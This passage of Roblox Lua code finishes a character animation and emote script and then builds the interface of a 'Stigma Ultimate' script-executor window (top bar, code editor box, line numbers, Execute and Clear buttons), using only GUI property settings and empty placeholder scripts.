playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
updateVelocity(currentTime)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- setup emote chat hook
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
local emote = ""
if (string.sub(msg, 1, 3) == "/e ") then
emote = string.sub(msg, 4)
elseif (string.sub(msg, 1, 7) == "/emote ") then
emote = string.sub(msg, 8)
end
if (pose == "Standing" and emoteNames[emote] ~= nil) then
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
end
end)
-- emote bindable hook
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
end
-- Return false to indicate that the emote could not be played
return false
end
if Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
-- loop to handle timed state transitions and tool animations
task.spawn(function()
while Character.Parent ~= nil do
local _, currentGameTime = wait(0.1)
stepAnimate(currentGameTime)
end
end)
end
RunCustomAnimation(plr.Character)
plr.CharacterAdded:Connect(function(Char)
RunCustomAnimation(Char)
end)
end)
end
coroutine.wrap(JEVY_fake_script)()
local function VXTG_fake_script() -- stigma.LocalScript
local script = Instance.new('LocalScript', stigma)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local cdwashere = {};
-- StarterGui.Stigma Ultimate (Lua Version)
cdwashere["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
cdwashere["1"]["DisplayOrder"] = 1999999999;
cdwashere["1"]["Name"] = [[Stigma Ultimate (Lua Version)]];
cdwashere["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
cdwashere["1"]["ResetOnSpawn"] = false;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar
cdwashere["2"] = Instance.new("Frame", cdwashere["1"]);
cdwashere["2"]["BorderSizePixel"] = 0;
cdwashere["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["2"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["2"]["Size"] = UDim2.new(0, 713, 0, 30);
cdwashere["2"]["Position"] = UDim2.new(0.5, 0, 0.3, 0);
cdwashere["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["2"]["Name"] = [[TopBar]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.UIStroke
cdwashere["3"] = Instance.new("UIStroke", cdwashere["2"]);
cdwashere["3"]["Transparency"] = 0.5;
cdwashere["3"]["Color"] = Color3.fromRGB(66, 66, 66);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Line
cdwashere["4"] = Instance.new("Frame", cdwashere["2"]);
cdwashere["4"]["ZIndex"] = 100;
cdwashere["4"]["BorderSizePixel"] = 0;
cdwashere["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["4"]["Size"] = UDim2.new(1, 0, 0, 1);
cdwashere["4"]["Position"] = UDim2.new(0, 0, 1, 0);
cdwashere["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["4"]["Name"] = [[Line]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ExitButton
cdwashere["5"] = Instance.new("Frame", cdwashere["2"]);
cdwashere["5"]["BorderSizePixel"] = 0;
cdwashere["5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["5"]["Size"] = UDim2.new(0, 43, 0, 30);
cdwashere["5"]["Position"] = UDim2.new(1, -43, -0, 0);
cdwashere["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["5"]["Name"] = [[ExitButton]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ExitButton.Icon
cdwashere["6"] = Instance.new("ImageLabel", cdwashere["5"]);
cdwashere["6"]["BorderSizePixel"] = 0;
cdwashere["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["6"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["6"]["Image"] = [[rbxassetid://89147200827095]];
cdwashere["6"]["Size"] = UDim2.new(0, 10, 0, 10);
cdwashere["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["6"]["BackgroundTransparency"] = 1;
cdwashere["6"]["Name"] = [[Icon]];
cdwashere["6"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ExitButton.LocalScript
cdwashere["7"] = Instance.new("LocalScript", cdwashere["5"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ExitButton.Button
cdwashere["8"] = Instance.new("TextButton", cdwashere["5"]);
cdwashere["8"]["BorderSizePixel"] = 0;
cdwashere["8"]["TextSize"] = 14;
cdwashere["8"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["8"]["ZIndex"] = 2;
cdwashere["8"]["BackgroundTransparency"] = 1;
cdwashere["8"]["Size"] = UDim2.new(1, 0, 1, 0);
cdwashere["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["8"]["Text"] = [[]];
cdwashere["8"]["Name"] = [[Button]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Expand
cdwashere["9"] = Instance.new("Frame", cdwashere["2"]);
cdwashere["9"]["BorderSizePixel"] = 0;
cdwashere["9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["9"]["Size"] = UDim2.new(0, 43, 0, 30);
cdwashere["9"]["Position"] = UDim2.new(1, -86, 0, 0);
cdwashere["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["9"]["Name"] = [[Expand]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Expand.Icon
cdwashere["a"] = Instance.new("ImageLabel", cdwashere["9"]);
cdwashere["a"]["BorderSizePixel"] = 0;
cdwashere["a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["a"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["a"]["Image"] = [[rbxassetid://107492258303282]];
cdwashere["a"]["Size"] = UDim2.new(0, 10, 0, 10);
cdwashere["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["a"]["BackgroundTransparency"] = 1;
cdwashere["a"]["Name"] = [[Icon]];
cdwashere["a"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Expand.LocalScript
cdwashere["b"] = Instance.new("LocalScript", cdwashere["9"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Expand.Button
cdwashere["c"] = Instance.new("TextButton", cdwashere["9"]);
cdwashere["c"]["BorderSizePixel"] = 0;
cdwashere["c"]["TextSize"] = 14;
cdwashere["c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["c"]["ZIndex"] = 2;
cdwashere["c"]["BackgroundTransparency"] = 1;
cdwashere["c"]["Size"] = UDim2.new(1, 0, 1, 0);
cdwashere["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["c"]["Text"] = [[]];
cdwashere["c"]["Name"] = [[Button]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Minimize
cdwashere["d"] = Instance.new("Frame", cdwashere["2"]);
cdwashere["d"]["BorderSizePixel"] = 0;
cdwashere["d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["d"]["Size"] = UDim2.new(0, 43, 0, 30);
cdwashere["d"]["Position"] = UDim2.new(1, -129, 0, 0);
cdwashere["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["d"]["Name"] = [[Minimize]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Minimize.Icon
cdwashere["e"] = Instance.new("ImageLabel", cdwashere["d"]);
cdwashere["e"]["BorderSizePixel"] = 0;
cdwashere["e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["e"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["e"]["Image"] = [[rbxassetid://118084930426480]];
cdwashere["e"]["Size"] = UDim2.new(0, 10, 0, 10);
cdwashere["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["e"]["BackgroundTransparency"] = 1;
cdwashere["e"]["Name"] = [[Icon]];
cdwashere["e"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Minimize.LocalScript
cdwashere["f"] = Instance.new("LocalScript", cdwashere["d"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Minimize.Button
cdwashere["10"] = Instance.new("TextButton", cdwashere["d"]);
cdwashere["10"]["BorderSizePixel"] = 0;
cdwashere["10"]["TextSize"] = 14;
cdwashere["10"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["10"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["10"]["ZIndex"] = 2;
cdwashere["10"]["BackgroundTransparency"] = 1;
cdwashere["10"]["Size"] = UDim2.new(1, 0, 1, 0);
cdwashere["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["10"]["Text"] = [[]];
cdwashere["10"]["Name"] = [[Button]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor
cdwashere["11"] = Instance.new("Frame", cdwashere["2"]);
cdwashere["11"]["ZIndex"] = -1;
cdwashere["11"]["BorderSizePixel"] = 0;
cdwashere["11"]["BackgroundColor3"] = Color3.fromRGB(241, 241, 241);
cdwashere["11"]["Size"] = UDim2.new(1, 0, 0, 440);
cdwashere["11"]["Position"] = UDim2.new(0, 0, 1.03333, 0);
cdwashere["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["11"]["Name"] = [[Executor]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.UIStroke
cdwashere["12"] = Instance.new("UIStroke", cdwashere["11"]);
cdwashere["12"]["Transparency"] = 0.5;
cdwashere["12"]["Color"] = Color3.fromRGB(66, 66, 66);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside
cdwashere["13"] = Instance.new("Frame", cdwashere["11"]);
cdwashere["13"]["BorderSizePixel"] = 0;
cdwashere["13"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["13"]["Size"] = UDim2.new(1, 0, 1, -25);
cdwashere["13"]["Position"] = UDim2.new(0, 0, 0, 25);
cdwashere["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["13"]["Name"] = [[Inside]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox
cdwashere["14"] = Instance.new("Frame", cdwashere["13"]);
cdwashere["14"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["14"]["Size"] = UDim2.new(0, 482, 0, 316);
cdwashere["14"]["Position"] = UDim2.new(0, 2, 0, 6);
cdwashere["14"]["BorderColor3"] = Color3.fromRGB(161, 161, 161);
cdwashere["14"]["Name"] = [[FastColoredTextbox]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll
cdwashere["15"] = Instance.new("ScrollingFrame", cdwashere["14"]);
cdwashere["15"]["Active"] = true;
cdwashere["15"]["ZIndex"] = 2;
cdwashere["15"]["CanvasSize"] = UDim2.new(0, 0, 0, 0);
cdwashere["15"]["TopImage"] = [[rbxasset://textures/ui/Scroll/scroll-middle.png]];
cdwashere["15"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["15"]["Name"] = [[Scroll]];
cdwashere["15"]["BottomImage"] = [[rbxasset://textures/ui/Scroll/scroll-middle.png]];
cdwashere["15"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["15"]["Size"] = UDim2.new(1, -1, 1, -1);
cdwashere["15"]["ScrollBarImageColor3"] = Color3.fromRGB(80, 80, 80);
cdwashere["15"]["Position"] = UDim2.new(0.5, 0, 0.5, 1);
cdwashere["15"]["BorderColor3"] = Color3.fromRGB(106, 106, 106);
cdwashere["15"]["ScrollBarThickness"] = 16;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.TextBox
cdwashere["16"] = Instance.new("TextBox", cdwashere["15"]);
cdwashere["16"]["TextXAlignment"] = Enum.TextXAlignment.Left;
cdwashere["16"]["PlaceholderColor3"] = Color3.fromRGB(179, 179, 179);
cdwashere["16"]["BorderSizePixel"] = 0;
cdwashere["16"]["TextWrapped"] = true;
cdwashere["16"]["TextTransparency"] = 0.75;
cdwashere["16"]["TextSize"] = 15;
cdwashere["16"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["16"]["TextYAlignment"] = Enum.TextYAlignment.Top;
cdwashere["16"]["BackgroundColor3"] = Color3.fromRGB(29, 35, 46);
cdwashere["16"]["RichText"] = true;
cdwashere["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["16"]["MultiLine"] = true;
cdwashere["16"]["ClearTextOnFocus"] = false;
cdwashere["16"]["Size"] = UDim2.new(10, -27, 1, 0);
cdwashere["16"]["Position"] = UDim2.new(0, 20, 0, 0);
cdwashere["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["16"]["Text"] = [[]];
cdwashere["16"]["BackgroundTransparency"] = 1;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.TextBox.LineChecker
cdwashere["17"] = Instance.new("LocalScript", cdwashere["16"]);
cdwashere["17"]["Name"] = [[LineChecker]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.LinesFrame
cdwashere["18"] = Instance.new("Frame", cdwashere["15"]);
cdwashere["18"]["BorderSizePixel"] = 0;
cdwashere["18"]["BackgroundColor3"] = Color3.fromRGB(222, 222, 222);
cdwashere["18"]["Size"] = UDim2.new(0, 20, 17.91826, 0);
cdwashere["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["18"]["Name"] = [[LinesFrame]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.LinesFrame.TextLabelTemplate
cdwashere["19"] = Instance.new("TextLabel", cdwashere["18"]);
cdwashere["19"]["TextWrapped"] = true;
cdwashere["19"]["BorderSizePixel"] = 0;
cdwashere["19"]["TextSize"] = 15;
cdwashere["19"]["TextScaled"] = true;
cdwashere["19"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["19"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["19"]["BackgroundTransparency"] = 1;
cdwashere["19"]["Size"] = UDim2.new(0, 20, 0, 15);
cdwashere["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["19"]["Text"] = [[1]];
cdwashere["19"]["Name"] = [[TextLabelTemplate]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.LinesFrame.UIListLayout
cdwashere["1a"] = Instance.new("UIListLayout", cdwashere["18"]);
cdwashere["1a"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.LinesValue
cdwashere["1b"] = Instance.new("NumberValue", cdwashere["15"]);
cdwashere["1b"]["Name"] = [[LinesValue]];
cdwashere["1b"]["Value"] = 1;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Lines
cdwashere["1c"] = Instance.new("LocalScript", cdwashere["15"]);
cdwashere["1c"]["Name"] = [[Lines]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Highlighting
cdwashere["1d"] = Instance.new("TextLabel", cdwashere["15"]);
cdwashere["1d"]["TextWrapped"] = true;
cdwashere["1d"]["BorderSizePixel"] = 0;
cdwashere["1d"]["TextSize"] = 15;
cdwashere["1d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
cdwashere["1d"]["TextYAlignment"] = Enum.TextYAlignment.Top;
cdwashere["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["1d"]["BackgroundTransparency"] = 1;
cdwashere["1d"]["RichText"] = true;
cdwashere["1d"]["Size"] = UDim2.new(10, -27, 1, 0);
cdwashere["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["1d"]["Text"] = [[]];
cdwashere["1d"]["Name"] = [[Highlighting]];
cdwashere["1d"]["Position"] = UDim2.new(0, 20, 0, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.UIStroke
cdwashere["1e"] = Instance.new("UIStroke", cdwashere["15"]);
cdwashere["1e"]["Transparency"] = 0.82;
cdwashere["1e"]["Color"] = Color3.fromRGB(216, 168, 255);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Syntax
cdwashere["1f"] = Instance.new("LocalScript", cdwashere["15"]);
cdwashere["1f"]["Name"] = [[Syntax]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.LineSelector
cdwashere["20"] = Instance.new("Frame", cdwashere["15"]);
cdwashere["20"]["ZIndex"] = -7;
cdwashere["20"]["BorderSizePixel"] = 0;
cdwashere["20"]["BackgroundColor3"] = Color3.fromRGB(178, 197, 255);
cdwashere["20"]["Size"] = UDim2.new(1, 0, 0, 15);
cdwashere["20"]["Position"] = UDim2.new(0, 20, 0, 0);
cdwashere["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["20"]["Name"] = [[LineSelector]];
cdwashere["20"]["BackgroundTransparency"] = 1;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Selector
cdwashere["21"] = Instance.new("LocalScript", cdwashere["15"]);
cdwashere["21"]["Name"] = [[Selector]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Cursor
cdwashere["22"] = Instance.new("Frame", cdwashere["15"]);
cdwashere["22"]["BorderSizePixel"] = 0;
cdwashere["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["22"]["Size"] = UDim2.new(0, 1, 0, 15);
cdwashere["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["22"]["Name"] = [[Cursor]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.CursorScript
cdwashere["23"] = Instance.new("LocalScript", cdwashere["15"]);
cdwashere["23"]["Name"] = [[CursorScript]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.TextMeasurer
cdwashere["24"] = Instance.new("TextLabel", cdwashere["15"]);
cdwashere["24"]["BorderSizePixel"] = 0;
cdwashere["24"]["TextSize"] = 15;
cdwashere["24"]["TextXAlignment"] = Enum.TextXAlignment.Left;
cdwashere["24"]["TextYAlignment"] = Enum.TextYAlignment.Top;
cdwashere["24"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["24"]["BackgroundTransparency"] = 1;
cdwashere["24"]["RichText"] = true;
cdwashere["24"]["Size"] = UDim2.new(10, -27, 1, 0);
cdwashere["24"]["Visible"] = false;
cdwashere["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["24"]["Text"] = [[]];
cdwashere["24"]["Name"] = [[TextMeasurer]];
cdwashere["24"]["Position"] = UDim2.new(0, 20, 0, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.AutomaticScrollBarSize
cdwashere["25"] = Instance.new("LocalScript", cdwashere["15"]);
cdwashere["25"]["Name"] = [[AutomaticScrollBarSize]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.LineButtom
cdwashere["26"] = Instance.new("Frame", cdwashere["14"]);
cdwashere["26"]["ZIndex"] = 100;
cdwashere["26"]["BorderSizePixel"] = 0;
cdwashere["26"]["BackgroundColor3"] = Color3.fromRGB(228, 228, 228);
cdwashere["26"]["Size"] = UDim2.new(1, 0, 0, 1);
cdwashere["26"]["Position"] = UDim2.new(0, 1, 1, 0);
cdwashere["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["26"]["Name"] = [[LineButtom]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.LineRight
cdwashere["27"] = Instance.new("Frame", cdwashere["14"]);
cdwashere["27"]["ZIndex"] = 100;
cdwashere["27"]["BorderSizePixel"] = 0;
cdwashere["27"]["BackgroundColor3"] = Color3.fromRGB(228, 228, 228);
cdwashere["27"]["Size"] = UDim2.new(0, 1, 1, 0);
cdwashere["27"]["Position"] = UDim2.new(1, 0, 0, 0);
cdwashere["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["27"]["Name"] = [[LineRight]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute
cdwashere["28"] = Instance.new("ImageLabel", cdwashere["13"]);
cdwashere["28"]["BorderSizePixel"] = 0;
cdwashere["28"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["28"]["Image"] = [[rbxassetid://75573445620342]];
cdwashere["28"]["Size"] = UDim2.new(0, 49, 0, 115);
cdwashere["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["28"]["BackgroundTransparency"] = 1;
cdwashere["28"]["Name"] = [[Execute]];
cdwashere["28"]["Position"] = UDim2.new(0, 488, 0, 5);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.Text
cdwashere["29"] = Instance.new("ImageLabel", cdwashere["28"]);
cdwashere["29"]["BorderSizePixel"] = 0;
cdwashere["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["29"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["29"]["Image"] = [[rbxassetid://100825135027443]];
cdwashere["29"]["Size"] = UDim2.new(0, 30, 0, 9);
cdwashere["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["29"]["BackgroundTransparency"] = 1;
cdwashere["29"]["Name"] = [[Text]];
cdwashere["29"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.LocalScript
cdwashere["2a"] = Instance.new("LocalScript", cdwashere["28"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.Button
cdwashere["2b"] = Instance.new("TextButton", cdwashere["28"]);
cdwashere["2b"]["BorderSizePixel"] = 0;
cdwashere["2b"]["TextSize"] = 14;
cdwashere["2b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["2b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["2b"]["BackgroundTransparency"] = 1;
cdwashere["2b"]["Size"] = UDim2.new(1, 0, 1, 0);
cdwashere["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["2b"]["Text"] = [[]];
cdwashere["2b"]["Name"] = [[Button]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.Button.LocalScript
cdwashere["2c"] = Instance.new("LocalScript", cdwashere["2b"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear
cdwashere["2d"] = Instance.new("ImageLabel", cdwashere["13"]);
cdwashere["2d"]["BorderSizePixel"] = 0;
cdwashere["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["2d"]["Image"] = [[rbxassetid://75573445620342]];
cdwashere["2d"]["Size"] = UDim2.new(0, 49, 0, 104);
cdwashere["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["2d"]["BackgroundTransparency"] = 1;
cdwashere["2d"]["Name"] = [[Clear]];
cdwashere["2d"]["Position"] = UDim2.new(0, 488, 0, 124);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.Text
cdwashere["2e"] = Instance.new("ImageLabel", cdwashere["2d"]);
cdwashere["2e"]["BorderSizePixel"] = 0;
cdwashere["2e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["2e"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["2e"]["Image"] = [[rbxassetid://115944720629396]];
cdwashere["2e"]["Size"] = UDim2.new(0, 40, 0, 8);
cdwashere["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["2e"]["BackgroundTransparency"] = 1;
cdwashere["2e"]["Name"] = [[Text]];
cdwashere["2e"]["Position"] = UDim2.new(0.5, -1, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.LocalScript
cdwashere["2f"] = Instance.new("LocalScript", cdwashere["2d"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.Button
cdwashere["30"] = Instance.new("TextButton", cdwashere["2d"]);
cdwashere["30"]["BorderSizePixel"] = 0;
cdwashere["30"]["TextSize"] = 14;
cdwashere["30"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["30"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
